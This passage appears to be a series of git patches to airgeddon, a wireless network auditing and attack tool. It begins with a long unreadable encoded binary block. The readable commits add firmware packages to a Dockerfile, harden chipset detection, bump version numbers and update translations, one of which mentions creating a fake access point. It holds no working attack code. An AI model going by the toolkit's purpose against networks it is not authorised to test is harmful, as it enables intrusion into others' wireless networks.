z1@tKO3Jtv=?Xtq>c2k%e5o?45uLj7iH$NNLw^eN`7+NISC4UsP3urb2GOZ3N*4;xP z+527`rbVVSUXx#Kj3Y=Hq@H`O9Kh``6SM9%-78%K)^x}XOSlJRk=|ujn*H5JcjWp`uaT~T)_9Utf>ht+x&VTO~Lu&p=tnO|`sw5eJ1?E7|*AaW(nDQlx zf7I+;CJhF!$&+$%RAK6z;n(M7G7*UH!_D`;WFn6kumd1rE)Di5u%xo;fCQXO>F*5E9Z(qAUmLyRAR6&xPxp98A2L#3u)-o= zpuw}M0&D8eDuCM-3RW?uERj-j#w%`V;2q;D;7|R4&dR%4z2ba7BYrBJIPlhKkG7gL zn!N!fnlD@ugVMof2M=Y-iQG@nA}4K&6lDJZ6qg^5!JNU5^2$q$5_5v=Q2PwSu3pyj zM6OgbJP88JfYZ3nkCPd+VQ?%U(J@U`$T~XxrLms~zcvxBPA1vrt3Ax*&#r{_>Mb6i z0Z{93`F`hoogd#|BTarKgnT?rH`ZSOop6d3B>ccZEK*9f)#sSMm^uX-8oI65IdGrY zOFKd(J>Yw?e)t=d&P?vmjnNFif5tpAX1R@QTU-e!K`bwvt%T={` zlE8N~ywL}VS8?brPai)JapJ7X(f2>&X%)q6;XmxFK<$7oi8H+o(Qx%`)_^k?;WKzd z-REzfXKKYu0N(yIyjzN$$c(4Q@%`ZWJh}QGew7o7Lx<(Ni$BL3l4Y4}wXR2qVJ80D zIQM}zg*o2TH~O6Vul)cj0%G(A_rLIO1c}1pXhz;Oo@)G3m(X?}eF*|sC?>%Ref5P*H|ZM5=!;@GO7y@)zhbyskN9XfYx_KcMUvB zYJ==pu%FpX>VOX^aWAa3m~%g)yc=eWunnm> z9Xf8;@VMT5=004Bk96&W(82Eu=yPyqK(|Cp8!IRy;gkGF`=cvHhTA)g))jftfFAoq zNUcrYcfrk%aO@NA7$jwX_$_b}&=N4ztCkXH(w>U#!#9d5k^SvP-V^ELq72G-&dx?X z829zJXwU5LNql=9mz9G6QYKL3PKB|C!BiBFGUgS7a-E`kQ_5X)Il4`A@k`r$*6U6^ zCn&|H4g{6%A`4m4xun~?ec_*)~cGEYNUV~bB^Av)+7uPBO z=KV^k-ag?Y5}8~e_L1>3rSZ(iFY^ruAWmaT{HMAfCY|FMN_p0yg$LWWFE+5Eud(DibS_{O=HEpq&4@Dq&%P8UgG zk!@qoFcOuuTy*Xkbv*%(iI~Nc_M)}*5MP$-PqT*Vg|AW}GY+}IGzz|=A7;bwc*{j6 zdAXoK!4G$Kc8-&bP9hu7V0yu&)AJ*J+Ir>lN{Vp8LpC32w)nZV008FaRcuGls_y>O z20)qDJh#7ks_5{`FWZMu{*bpuz|bW?G8h~Bdg`I$*rAT)7122pxIBnOA0+H_V>%>D zluGQAE@kg|%5B>VNj6@fRc+o-XHHp$E}dW z=0~;#8>^%MGN()H{$S1N{nTaEZKA-40Sdun>rWB`r_b}5XQRZnU|?=pjngfb+46Y+ za+LauK}yaZSX*NuGSouGR**)-rX(-N?{9GZtkw=olOAUf-z&Ab+%H@CyZpM*ER2e0 zwD_qU%FSUA)rB}vhb5v*A0aBpgxFht)Xp|qAgh%aVCj98HDcSueSlR4_(sYUpqQ&!{@>u9R=tQO-r7Uz*An-N4?K z!_fub8a+QwjO|NqffFWlQTI;$d2S7)$bO(>oS+jRCr%|evNwKss87X-%~;{ak9~PW zsbot6#54@v-tLKwAIvfwD_fM#R|m#dZJ+DK`_{7tkg?>(%~ zaf=PceEqRT+?0?p6_4uMZ?T5%N5H|xzyUCcYf%+S(Sv{x@`mvvuV3}XJWdE^*qyk@ zH{iH$$q83LP+rv7?!0z|ZAVrfkd%olRbniUQ!2>_DKgG7lwy;qH0|vfXuhI0TM;Dk%z`IbwjL0-@z+H%iBw$RL6R$E*W*}jRGpF7xl%~O zWMUY#MC@5AD$Flu1zdXhqcOi){ujH-n#i&nUK=!i_&fw;c0aK!`A&Kg8FvnYV94b3 zPIzP-?8KHo%3c#yOw3{ggP3g=l0D5p8!)NKSwrh&K~ef?Kwrho`+j%n0#bR`+iJ+! z&}aiW8wLE2aBCB_9tKEwK64d06~bh7JV5f#()aY|Nq7#^B`g~BcW8HKH?e|5)mSIdq&s?{zzIxp_TKV*PC#g!Z@JXjW9~9nxs>V zoG^i%S(=PG0Re!pIXbK)uP2eE6E&d>V}O6NCs-FqC=o}TW*`T#ipWcSNKpTG8j+!A zj{yrGoh~QR@C6|D9qGaHY*4v!br=|+RI`+x$@zS*`;slh8{%-&rfekSUoEWg>HHNi zR{bxclB3qlq0Mr#CyUYmAL3@>s_kb`pn9RK%CK6EeD?$rmq!DBdv`R{#zytCmxB(M+mTo3FD$C0+ zLIL++F-IMCdZTjFgkN@GD^I~vbKHM$4p)0D88=-yX0pvG=f{jv7{xuU!8mn z*RkQD6AK;_uLCEFVXe!3AzZCHwVW{QX^-*R0BhD@qZ+Et7q$5<>{;^UMw2fq#qI%* zvS@_u+5qI@vM8%7ph|Hw_d(LUFMh{j|L3n*rN>Oke=7EU?8o@svgs$2I*U> z`1%jX-Dw%J)_}-Hs$E&5xew#$L})YIgmKXwmntv5-Ka>N1P#o}>vj5ZnAgk$KkeeC=WGMgJVyv`#3-K{0Px4^&Vnz_AEqpM5y zy#+qHc7wL~q{awpm7v*D`q}@9rD8e22^V;JN!=w@Gy8-8P7%;SCc7+`K9~|*8}nQ2 z38QW<&CieJ_GuM$jm=G67wVby=&F1Vcx}@C5Mnx+t)dky0%eblOuwZOC}yIgII%hn z%S1mmm5|wmF}T#l9I#{w2r4$lQWiRmA^d`({v}9m21|pRaJ@c82gZmM%{Qr zu}EYd1dsQnvV(wq*f>?OrIzr=Q!Rx5prrd$;-vx<%h5tNq)}cY{iO0Vps@$-q(sbx zFu8xh=K!>4d0a-+V;G)?6Um2N4+6sSdIWkDS?7v(Oz|*Ut-fBhfB?qMW=9aMeR6Z! zf>#q&ahLv%c5l+M)n={I%RG!%bzP4VGYh_OUyG@u1OCG(RBTrnRzXKKg?ej8wm-?I zA}@4Z&&Q(KQZ4aA5C@dX_<5wB>`W12S!iKQDf3!D6!)SRawV%qqZ<~!P00!OY{Eu> zz{-D@Zmpxr#mW@d;h`LBMYFb=91BgIOfQ4EVj;ImFLL9LGadV5_;|372yUXk*Z8e! zFHeVZn_63t_m)GEOg>+W(|_F?^T$xtl6H$SghXs(wPH3~$_)wIHBQyex7LQfJ8gy% zN^S>IsW%3UIVi7o@EE)O2q$H@=+PlMkT7*VJr>)eUJ&E#Eny~u7Nh_=BGo>#!+l}4 z_8aE@2`D1M)4?X6lT%?li3dL^K^^?PG{+I zF$A#(fEN$klh8W8?I_VPExSI7JEAO7P2h1ql2Cikc)ox1m4$m4H>cV$-sYLaN{*7$Pq z!|i&#C4DObeik;NjL~eiJH;;gr|X=K`TJx~=%sbtdXtOX-*=Oe)YHF>s{;y;z9&B| zQYKcRXM=vXxs5Bz3-p|b)ToZnH3#)8diGj*axNnIM|qg0KGE{$ja8S^c*3L^3Ph^R z#-dR$=1twSGg(><)ES}xpfw>ObH)!kF= zTN*m9&?7J3Iyg^%8ZK}jA7Cq(+)dN*D`63CPi_J%%iCX2THpv6AW`m!J1)+N}m zT`A)_X7*@D?7~_H7sx*&M9Uu7DS!ozXw2fkP2qM1Xzz{{tuf(OiG_#wjxjny9`F|* zM%Dq*#+86R`{@rE^C=);d}^PPyZEfdlHiNrRxTZRaJP+Q=@R@Rm25b0f=Ffy=bC-+ zJIjMCoP&R96G$o^?#O)u3WSx-0KJnxdn)Vzqs<)_GC!2BT%rxsv@)i9xQfDjU8_wj znEIYX*x2}J>vc)gD>W~z>+vDJtaOLOt+(sa`qVIIKZl=fwKrj1bE&P!kn-)uXi4x% z%)ym~97yP{T%CVR70|Y#D_4XbsYtPRXIyp65G$peOiD7y$kB|(tVxR`&l@#Tv5;rdr9Y4(N;MvtVm)+_G;4xQnqe_s&-!uNjjNH2v^gLCZvhzODw$;B7Ik-%0ALM3er06GZ8Tayh57Ani>K1TUxtE7kyLhYg{! z#6ZA$4~7Ou?{feq7V?ru-9uaBTz+!Z|2xPB2JOKQ%MF#J#dwA<-EjR(YLTMno3lBb z6RtC}I|HS#j1>ckmigLspCJI+BC6AYkQ5a7Q@lF+YzF8&*Hpro_jmy16;~~F`e@G* z*TX@jaFJfRA@Jprj{wuwZ}Q?9r!21~T7+ErdLJtMV-YhZ9?PxCLMc`~-~-zen`-bA zoHP5A+deu)%@|!X9}YOq4BWkGYch^Wt?M7jH8Gw)Qo*G*gj)6){A|Wcc;M43^(#w0 z$z$_Tz1E9~g3i#5cY$X$4!sCfE7x6vqNwvga+UFFNH)38O#0;m2+23!=LpW-#^FY| zVM%3Lpa5P-4}QP#+)IcH%dBYPNMt@Lr=C(XT(St07jl2Z5decfUTl8b6gJm=^K^q5 zOZ0sgX}q?MrKKQkjZmc{;_v^zyWH%^rhg1q_|OO@r#S(ndDL%_WYlAwbtP z&KhO1ggxDPFVE~ajV%oR-pGzFBup*&qn^P#0zfDC;Ih0BAb;wyn@BvoA^?$9wHXfoq(cAQ|FAMABEV= zn-;YuuGGT3j6#^Q;MXVHy4zOsCX68|=33ui*qr>o<>LqWEX;ieudNhlQ zJv5$(d3&w1e3@*DoFE7R_%Wqy)M6jgsZ`oY)x)%_z&G%(z}jFbR$_j2X^2wd5$E_P zme%sDlA5WMu?Qjx;iQji{1h7@%wemct@z3@zw~rQUGF4(^V_QhIZu!Hh>G@I5YGvZ zmcrTw_>SRY3nk9~xB8h|G_UOvt!=syu2^urtp#y0BhRt;0f|Fgt_ofG5Q|xI?Dlij z4i5>ccb(IhkKx`_TTHw09HBS|yip5C2v6MPE==#D13`s7;OcP8{YI5vXo!y~-Y})8 za#0Jlx?~@?0I})uFgm0k^^sH`6(hgJXVL%S<;j7(vGI856jRP9CAL@bi<5PsAY2kD z1l~_?fEeJ{0g3!&IJ5GYF=UHwHQ*#hDf%__-lsgYK%IEG;YI)aJ7L6Ep*OX$ZhIL2*Jq)_WaPpbqKd_n1L8We z{VdANPL8#8RBl3j^I4d7a7*~(W*M4Jz)pTkKEH_h+HhpSlscxVL*;tgm3>({h1Z9{ z4quB=@zwS%&cQKLu-S-lFd*MMr)&hEb4_%#LhsI(!Ec`rV&~kp@PRC_b#~|qFxF+9UtGo~Jpid&HmL#b zyDLkWHXunFPbDvEbCm*0_a76bLJ&W36}f_mG~mE6=E|V)Z(9lg^#T#Eq`mA7Mii2FrPcGW(rzb~ZZ4hffVzVU@9L7M|y z!oKiFIE7@8SWvR?OO$t(OFiTl6*M9M27Qn^W}$c+s(#fROC7f0iQB6a)|f0QNxszE zo9wKM?MKN6dK=6H0r}=llHDdhLmY-|@8dJr__!N8FurqtY#Z1Dsx=Oc#zPgQfV$*5 zT19%ScRQ(pxg9RP*L~2W@x^mVfb(A$E#4O)N#J+V7-N8hH|w42wYvZy>bMC$X8T9C9j>S%mU z9kHF6-!%vZLYPl@O6n`Y;nRKT$c&hEWZ;`!2NxR`Hv&d){HJD-gBGoiRF- zz8l~^e;HSS<+q!{PK(-R*<{weiY6?e{wIZA*?MC2(_~RNnewap%TX!95GfWfpTe=@bL0VMv zW9vAHO=FwlbbO@?4E|hJnFajs9>DsfNiJaJRbg{0@0GR|x_#@T=>did9VMYQXWS>A zE;fElY6Y>XhGoo1^Jf{XUA_*y6zh2J0YM!YD5#!RO=ql5Bpcggc-h4~2O9-OYE&7n zfNp8e+ZM#H`O?y6i5)-IS@MwQdb47T)$P&!`<2M6ne)UE!Ey5_^leveQ>NFAgF)eX zR~?Q4Mf5dfmTFsg6DHB6sPWjnI{~+BL-ep&dz%vql-l$E0g#3?P3bXeE+NG!n{I!4 z4wldg%*sBwXvrYVX(>%0^4%R%d_3xcDpkZ7%%)s0(y-bTM?}}EKMz|{TSmFIYy(!W zx1z>9H}q??E=I?LHJ#R~F|^e9$E`uc2XAu%W$Uo{33tXhVn}tP)q@EK*hC|w>=Tyt zn6*$MfwQn8q>4N~1D>~h`Mq9c)0W6@rJ>yZ>M`2HztwbTb<2(3i6dmoBEE4@5k^}GUo+~&N zHb4JXk<)v_naCWjK8`l>m~(!|AT3*;s?g2h84Jl^L98{VC)A{H`kCZ*+t#1p&|O*( zQoZU?JbHfD7M(Z&8*VANI@*{psaNi)Tg)v+0rW>C#Ntg};XmPy_`+~H3*7}3{d%s4 zpL>4%vLouodBx>cdPtY&5|f#HlitH}437?b4E;{k$(YI7Xll>r`^Z>f==m!*Aj6ghgG=KH z4!|BNveI>{c-e`U$3zL=+=3R(t!lcDJ`eMegOKfGXe4ckj0JzZnfbLGRnRL~ zLR~c^b+2r=-@|A50#Py0FgC`yo30fmE4tzU8F(v}odRxA7hHlzYf%}}&mFqw2gyI8 z1Z0O`vlB9LRIUQ+iQDH5(d)`U_3tX)0MNrkOE7sHc@^Ce$NIm-bnPW}E;Cl$8=+*k z!CRhM$n#eYJbcDua*1bfo6soWluxN2P*nd4LMGBmSzEpNd`@6ZJRQs#=yT}hJaeZs zneSqs1mqMeP?J}O(faUEXqG^70}y1tnt$7xx~@&4IX_g@Xfd~@lMPU2lQ+aK(}Rul z<|U_U>XsA5jQWH5(M}9Cr@+)Qq3pE&V{J`mwC6HVVsPU|RpodsSeS*co~Ysud{>JK z5FPU2=xn0xp{z}ZYch0d zAj}y(yG$s(Pl6AF6Qgjz8L#HUiEhArqScZs!2527guWMu8N~2Nc51zxOJ}!}FVR(L z2EM)U!+;J9k`m}1%ABa#xp%!(@c$zQc((=o2Go3#k0n`+Nn}xIX8}KU!t2zIO1Ug2 z4dKXS;2me2*>Mi1tg$EA1)&LOo+_+Hii6A;3WYU9dE8;)ymmBu+J*!CTD4cPFVvoQ z44PKVrV+xDG|hvnPK5KY6MH+GAfQ#Kr-3m7$Odk1Wb#Y-bMQ6DyG-xG1^LQ za}40>l!JR;YW7D7ImCoiI$@8z2jqlftfQ{G$xQ? zt*4UC!gG#vjf#@;{U@l~5I~{w`PH2Y>=zEy7{UA}Wp6I$AxZ5MTNinQL1Q1%V4N+3 zK_IYA*ougs71NaQQnMA+pTG-}EO5HU|6Q%i-QU%I0DZQDBLLyEFl2f~F-op%Sigay znaWBPAL=@Qf~-bsj`E={Z9I(CKPVmZYjxulP{*h7nANY_(u6V zArOIuKSbo=n9nqIFGH3S^Ns4>d;jB}YVq5Wv6SEwbCdoFdR)h76|znMmS3zRN6R=T z>0pOL!L8VcKt22&i`0Kn)<-%jdCG-2v*OOx7dk)H_6HEtjhp;lOd--133zkQBzcN+W2-L&A*hSXpD99a7MLY}W6|kf9 z(JEK1@QOI5g|}vdKc0Z2Tbkvd`8KrBHb;-g(bXfmfevODmYhT>Q8g?Q{}5qJkP7Vc zx!TYMwTGrxUxIl8`4YwGA(m!uW98;pLJWai_Mv4V$Cs2_f^Lwy2ZzC%_(Y9k-7u!g z3h(-ktY`-7A<>eSvO!Eqd^<4O0jv(%=U<5I^IH_lqhjD;ikEZU{)7G*m}`>WY?SG4 z4|?N&n*C6ugY&M{F`yc=hsN!{>*Z*;04-mheJ1Azs*b{7MyBBD`ZVQFkf`J|Ho z)8pLYd`FmcZpn1=PQ`j|=AO9#Ps}U1J6wu)KGilFmuG$CKdrcm8eY7og#PcJ^60h# zJs^~Y2H~~W`VYB_B3&vy70fhMh_)|m_5sd;)W1FY{kE4iwR;Ywe)v-jNKNnfjXtQh zZ6d}J>~l7NKed!!N-Vn79}!Y%&Kt~6KZQ4UygUR3ih_s(34iY15LMi?Mj>}G$I(Ig z2GV}1C_me(%Y)zFH*YSZD5l*-{OEzr2Jx}aN?@>Cclg$kCh`W<=lt!MHidvabRqt8 z&k!!)wK-{oEs1@dM$l+W6LU9pg0MZ=Sh~lq7rPu3Gw{lZ-E*TMjT4?*B7`P4XQDb= zJMU234E~DV1o&OooIjznN+NTZW=Bg%Nc!+8E zkN%^@JCX9uK;rD^>2^~SAfbm&Q)|NVc5SrMsaRf$$e+Og8~VvGy-`wK2i6zfD-@xs z^cQ3VrBTRejE|K}LxL%V9m!f{~kcC@5sa)M?u*ms)d;zGbH*Z z%rWAzIhsxjJ=u@xn_|JT^K3UVkW#g305WRF(&;i#VO^oy_F<`E{ieZV!GFj5fYcG8 zPlaK@bNuL4>yxn5WSNMBq@bQ&5-2H>#JU<+`>!qsBWpLB+wJ((91ohWSp?SOQ+bTY zETGzmz>&ItdhBX?lE*^0;bl(LJx%jr1%(#n!mE|g9Ix1}>U&kdF7#TuMVYC&sxxHu z&1)fozA=Eqw}uMhR8wblWG-%YHAN>_fjOflaH&rrmwbPG;<;YA{MKQOp#C>~r%nNd zQ_;EqE0E0YHz6w0aLoWpR;Zdq#jqTXZu_X{JOmRPZ`n9mdNfj?2$gnoB&+};pnjC} zTx7(W?1jGfOgm(|T)5e*O>(_;y(6Qa&te+Kj{g}AR%(ziEgsP*2cyCj1&x&Jev*g` z!~l<(AsV@X7L6)vV}?uUPGXHpv|)!;yF3dw*Tk(B^u6`D{~jJ}A@R||8>Y1jJF_N; zfsGI5MdYv5pAMvor_mzdVV-m@$m_Z)aDVCRBwsV7wzX!!&#F)PzeS!7sxR+$S8+>W zGPi+!gUI)|Ygg0$sq7-82%KFjgQypMa6=t{$HwHY{alSzPNWgBv5abT+hoD~0k2h#k!$ri!LQDko82i7G1H-leT_ zH1T8gs@Jx}#!i^ah)auz`C(9i77J1IWx*Jvuv=7U5cS2`zrxcg(4CotJ+2gF)u$+* zgn%5U#91#(&#P0EHcLzQeeLf#8QAyffCXp0d76*#l={Rk$VZD~HT|~rBb`b`ORs_mMG_Q$4^^(1PX?8psNkIgM|f;3(COhy z(Bb;9G7h^_|09Nexhopgz)ZIRBR}6n?t5}VD$A&O)~Tc+#_N~@#gc2ixf7w9uRIE$ z^C6%Dn2U!c~djBhvn3$F54!#23nPdco{YKH%FXz1aVzRT8arUav1$DZ)l6mXV zW?|_g>4T<5D2^vS7|bpMQ+zk{Ve=7lC4^H^G~L+Zvao*ff=Zgc*Iuj&ay;}|K^WP1 z17J(H*RJlMX)dQnCuqEkYe8GqlZu!Gjy)m|*T3sJpl{zXh~|_snHti8S+$)@D3UD4 z>Y1y8g3hFNs+bMbl&!NGlr;82z9szLmvM*JezyV4YF|;vIHa`Rq)#M7sE=S2KD$rY zB5O;#WWQu{1%L~W1#WPrK-7HH=7NN-C(=no_(Z*Ly^d<$SH}5_zk6`=kD(y<2TLq_ll6D*QJHsrMmfg_34V`I$O zC1a|y4uQsiyAskvo+xsQ7BIhj7hc~+d|Atsm*t@U8GTAAe1th^U?F4GX(n`vSl}+?WgCEl)w2s6B)%Lo!KP&}`{KGf9RJGU9oBb(knXN*7T-&cIXE&dy%eX~=P`2cR|V z!gBISiGE2z%jen@ Date: Fri, 21 Apr 2017 21:01:01 +0200 Subject: [PATCH 04/28] Added wireless drivers to Dockerfile --- Dockerfile | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/Dockerfile b/Dockerfile index acb96a1ea..9912347a7 100644 --- a/Dockerfile +++ b/Dockerfile @@ -137,6 +137,18 @@ RUN \ cp /opt/hashcat2.0/hashcat /usr/bin/ && \ chmod +x /usr/bin/hashcat +#Install wireless drivers +RUN \ + apt-get -y install \ + firmware-brcm80211 \ + firmware-libertas \ + firmware-realtek \ + firmware-samsung \ + firmware-iwlwifi \ + firmware-linux \ + firmware-linux-nonfree \ + firmware-linux-free + #Clean packages RUN \ apt-get autoremove && \ From 1872f6b810188f5410f0aa15ed49553ec7c4dd98 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Fri, 21 Apr 2017 21:02:59 +0200 Subject: [PATCH 05/28] Removed libssl-dev lib not needed anymore for bully --- Dockerfile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Dockerfile b/Dockerfile index 9912347a7..4db07a876 100644 --- a/Dockerfile +++ b/Dockerfile @@ -118,7 +118,7 @@ RUN \ #Prepare packages to upgrade Bully RUN \ - apt-get -y install libssl1.0-dev \ + apt-get -y install \ build-essential \ libpcap-dev From 75e3f3d11a83455f658a387a5be3342743acea00 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Fri, 21 Apr 2017 22:00:28 +0200 Subject: [PATCH 06/28] Improved chipset detection, lsusb added to internal tools --- CHANGELOG.md | 3 +++ README.md | 2 +- airgeddon.sh | 24 ++++++++++++++++-------- language_strings.sh | 4 ++-- 4 files changed, 22 insertions(+), 11 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index fd8bc0ae0..15e37f7b1 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,3 +1,6 @@ +###6.21 + - Improved chipset detection, lsusb added to internal tools + ###6.2 - Docker support added - Default save path system detecting if executed in Docker container diff --git a/README.md b/README.md index 499c5b1ed..0ad2cb193 100644 --- a/README.md +++ b/README.md @@ -74,7 +74,7 @@ All the needed info about how to install|use|enjoy `airgeddon` is present at [Gi [Hat Tip To]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Hat%20Tip%20To [Inspiration]: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Inspiration -[Version-shield]: https://img.shields.io/badge/version-6.2-blue.svg?style=flat-square&colorA=273133&colorB=0093ee "Latest version" +[Version-shield]: https://img.shields.io/badge/version-6.21-blue.svg?style=flat-square&colorA=273133&colorB=0093ee "Latest version" [Bash4.2-shield]: https://img.shields.io/badge/bash-4.2%2B-blue.svg?style=flat-square&colorA=273133&colorB=00db00 "Bash 4.2 or later" [License-shield]: https://img.shields.io/badge/license-GPL%20v3%2B-blue.svg?style=flat-square&colorA=273133&colorB=bd0000 "GPL v3+" [Docker-shield]: https://img.shields.io/docker/automated/v1s1t0r1sh3r3/airgeddon.svg?style=flat-square&colorA=273133&colorB=f9ff5a "Docker rules!" diff --git a/airgeddon.sh b/airgeddon.sh index 61423eb36..c26360c61 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2,8 +2,8 @@ #Title........: airgeddon.sh #Description..: This is a multi-use bash script for Linux systems to audit wireless networks. #Author.......: v1s1t0r -#Date.........: 20170408 -#Version......: 6.2 +#Date.........: 20170421 +#Version......: 6.21 #Usage........: bash airgeddon.sh #Bash Version.: 4.2 or later @@ -104,8 +104,8 @@ declare -A possible_alias_names=( ) #General vars -airgeddon_version="6.2" -language_strings_expected_version="6.2-1" +airgeddon_version="6.21" +language_strings_expected_version="6.21-1" standardhandshake_filename="handshake-01.cap" tmpdir="/tmp/" osversionfile_dir="/etc/" @@ -1150,24 +1150,32 @@ function set_chipset() { if [ "${bus_type}" = "usb" ]; then vendor_and_device=$(cut -b 6-14 < "/sys/class/net/${1}/device/modalias" | sed 's/^.//;s/p/:/') - chipset=$(lsusb | grep -i "${vendor_and_device}" | head -n1 - | cut -f3- -d ":" | sed "${sedrulewifi}") + if hash lsusb 2> /dev/null; then + chipset=$(lsusb | grep -i "${vendor_and_device}" | head -n1 - | cut -f3- -d ":" | sed "${sedrulewifi}") + fi elif [[ "${bus_type}" =~ pci|ssb|bcma|pcmcia ]]; then if [[ -f /sys/class/net/${1}/device/vendor && -f /sys/class/net/${1}/device/device ]]; then vendor_and_device=$(cat "/sys/class/net/${1}/device/vendor"):$(cat "/sys/class/net/${1}/device/device") - chipset=$(lspci -d "${vendor_and_device}" | cut -f3- -d ":" | sed "${sedrulegeneric}") + if hash lspci 2> /dev/null; then + chipset=$(lspci -d "${vendor_and_device}" | cut -f3- -d ":" | sed "${sedrulegeneric}") + fi else if hash ethtool 2> /dev/null; then ethtool_output=$(ethtool -i "${1}" 2>&1) vendor_and_device=$(printf "%s" "${ethtool_output}" | grep bus-info | cut -d ":" -f "3-" | sed 's/^ //') - chipset=$(lspci | grep "${vendor_and_device}" | head -n1 - | cut -f3- -d ":" | sed "${sedrulegeneric}") + if hash lspci 2> /dev/null; then + chipset=$(lspci | grep "${vendor_and_device}" | head -n1 - | cut -f3- -d ":" | sed "${sedrulegeneric}") + fi fi fi fi elif [[ -f /sys/class/net/${1}/device/idVendor && -f /sys/class/net/${1}/device/idProduct ]]; then vendor_and_device=$(cat "/sys/class/net/${1}/device/idVendor"):$(cat "/sys/class/net/${1}/device/idProduct") - chipset=$(lsusb | grep -i "${vendor_and_device}" | head -n1 - | cut -f3- -d ":" | sed "${sedruleall}") + if hash lsusb 2> /dev/null; then + chipset=$(lsusb | grep -i "${vendor_and_device}" | head -n1 - | cut -f3- -d ":" | sed "${sedruleall}") + fi fi } diff --git a/language_strings.sh b/language_strings.sh index c1957a585..2a310ee9e 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -2,7 +2,7 @@ #Title........: language_strings.sh #Description..: All the translated strings that airgeddon uses are located here. #Author.......: v1s1t0r -#Date.........: 20170408 +#Date.........: 20170421 #Bash Version.: 4.2 or later #Set language_strings file version @@ -11,7 +11,7 @@ function set_language_strings_version() { debug_print - language_strings_version="6.2-1" + language_strings_version="6.21-1" } #Set different language text strings From cd1128c16d6cd60d0f684ebdc6869d176f5f5242 Mon Sep 17 00:00:00 2001 From: Luan Date: Fri, 21 Apr 2017 17:41:49 -0300 Subject: [PATCH 07/28] Update Portuguese translation --- language_strings.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/language_strings.sh b/language_strings.sh index 2a310ee9e..57b084910 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -3660,7 +3660,7 @@ function language_strings() { arr["SPANISH",420]="Se ha detectado que estás ejecutando airgeddon en un contenedor de Docker. En este ataque se utiliza hostapd para crear un falso AP. Este componente suele dar conflicto con network-manager. Desde el contenedor, airgeddon no puede gestionarlo. Si tienes network-manager instalado en tu máquina host, ciérralo o mata los procesos en conflicto u obtendrás un error. Para más información consulta la sección Docker del Wiki: ${normal_color}${urlgithub_wiki}/Docker" arr["FRENCH",420]="${pending_of_translation} Nous avons détecté que vous utilisez airgeddon un conteneur Docker. Dans ce hostapd d'attaque est utilisé pour créer un point d'accès faux. Cette composante a tendance à entrer en conflit avec network-manager. Du récipient, airgeddon ne peut pas le gérer. Si vous avez network-manager installé sur votre machine host, fermer ou tuer des processus contradictoires ou d'obtenir une erreur. Pour plus d'informations, voir la section Docker Wiki: ${normal_color}${urlgithub_wiki}/Docker" arr["CATALAN",420]="${pending_of_translation} S'ha detectat que estàs executant airgeddon en un contenidor de Docker. En aquest atac s'utilitza hostapd per crear un fals AP. Aquest component sol donar conflicte amb network-manager. Des del contenidor, airgeddon no pot gestionar-lo. Si tens network-manager instal·lat al teu màquina host, tanca'l o mata els processos en conflicte u obtindràs un error. Per a més informació consulta la secció Docker del Wiki: ${normal_color}${urlgithub_wiki}/Docker" - arr["PORTUGUESE",420]="${pending_of_translation} Detectamos que você está executando airgeddon um recipiente Docker. Neste ataque é usado hostapd para criar um AP falso. Este componente tende a entrar em conflito com network-manager. Do recipiente, airgeddon não pode controlá-lo. Se você tem network-manager instalado em sua máquina host, fechá-lo ou matar processos conflitantes ou obter um erro. Para mais informações consulte a secção Docker Wiki: ${normal_color}${urlgithub_wiki}/Docker" + arr["PORTUGUESE",420]="Detectamos que você está executando airgeddon um container Docker. Neste ataque é usado hostapd para criar um AP falso. Este componente tende a entrar em conflito com network-manager. A partir do container o airgeddon não pode controlá-lo. Se você tem network-manager instalado em sua máquina host feche-o, mate os processos conflitantes ou você irá obter um erro. Para mais informações consulte a seção Docker Wiki: ${normal_color}${urlgithub_wiki}/Docker" arr["RUSSIAN",420]="${pending_of_translation} Было обнаружено, что вы запускаете airgeddon внутри контейнера Docker. Во время этой атаки hostapd используется для создания поддельной AP. Этот компонент часто конфликтует с network-manager. Изнутри контейнера airgeddon не может справиться с этим. Если на вашем хост-компьютере установлен network-manager, закройте его или уберите конфликтующие процессы, иначе вы получите сообщение об ошибке. Для получения дополнительной информации см. Раздел Docker в Wiki: ${normal_color}${urlgithub_wiki}/Docker" arr["GREEK",420]="${pending_of_translation} Έχει εντοπιστεί ότι τρέχετε airgeddon μέσα σε ένα δοχείο Docker. Κατά τη διάρκεια αυτής της επίθεσης hostapd χρησιμοποιείται για να δημιουργήσει ένα ψεύτικο AP. Αυτό το στοιχείο έρχεται συχνά σε σύγκρουση με το network-manager. Από το εσωτερικό του δοχείου, airgeddon δεν μπορεί να το χειριστεί. Αν έχετε network-manager εγκατεστημένο στον υπολογιστή σας φιλοξενήσει, να κλείσει ή να σκοτώσει τις αντικρουόμενες διαδικασίες ή θα πάρετε ένα λάθος. Για περισσότερες πληροφορίες, ανατρέξτε στην ενότητα Docker του Wiki: ${normal_color}${urlgithub_wiki}/Docker" @@ -3668,7 +3668,7 @@ function language_strings() { arr["SPANISH",421]="¿Dudas? visita nuestro Wiki: ${normal_color}${urlgithub_wiki}" arr["FRENCH",421]="${pending_of_translation} Des questions? visitez notre Wiki: ${normal_color}${urlgithub_wiki}" arr["CATALAN",421]="${pending_of_translation} Dubtes? visita el nostre Wiki: ${normal_color}${urlgithub_wiki}" - arr["PORTUGUESE",421]="${pending_of_translation} Perguntas? visite nosso Wiki: ${normal_color}${urlgithub_wiki}" + arr["PORTUGUESE",421]="Dúvidas? visite a Wiki: ${normal_color}${urlgithub_wiki}" arr["RUSSIAN",421]="${pending_of_translation} Вопросы? посетить наш Wiki: ${normal_color}${urlgithub_wiki}" arr["GREEK",421]="${pending_of_translation} Ερωτήσεις; επισκεφθείτε Wiki μας: ${normal_color}${urlgithub_wiki}" @@ -3676,7 +3676,7 @@ function language_strings() { arr["SPANISH",422]="La actualización automática se ha desactivado cuando airgeddon se ejecuta en un contenedor de Docker. Si deseas actualizarlo descarga de nuevo la imagen con tag \"latest\"" arr["FRENCH",422]="${pending_of_translation} Mise à jour automatique est désactivée lorsque airgeddon fonctionne sur un 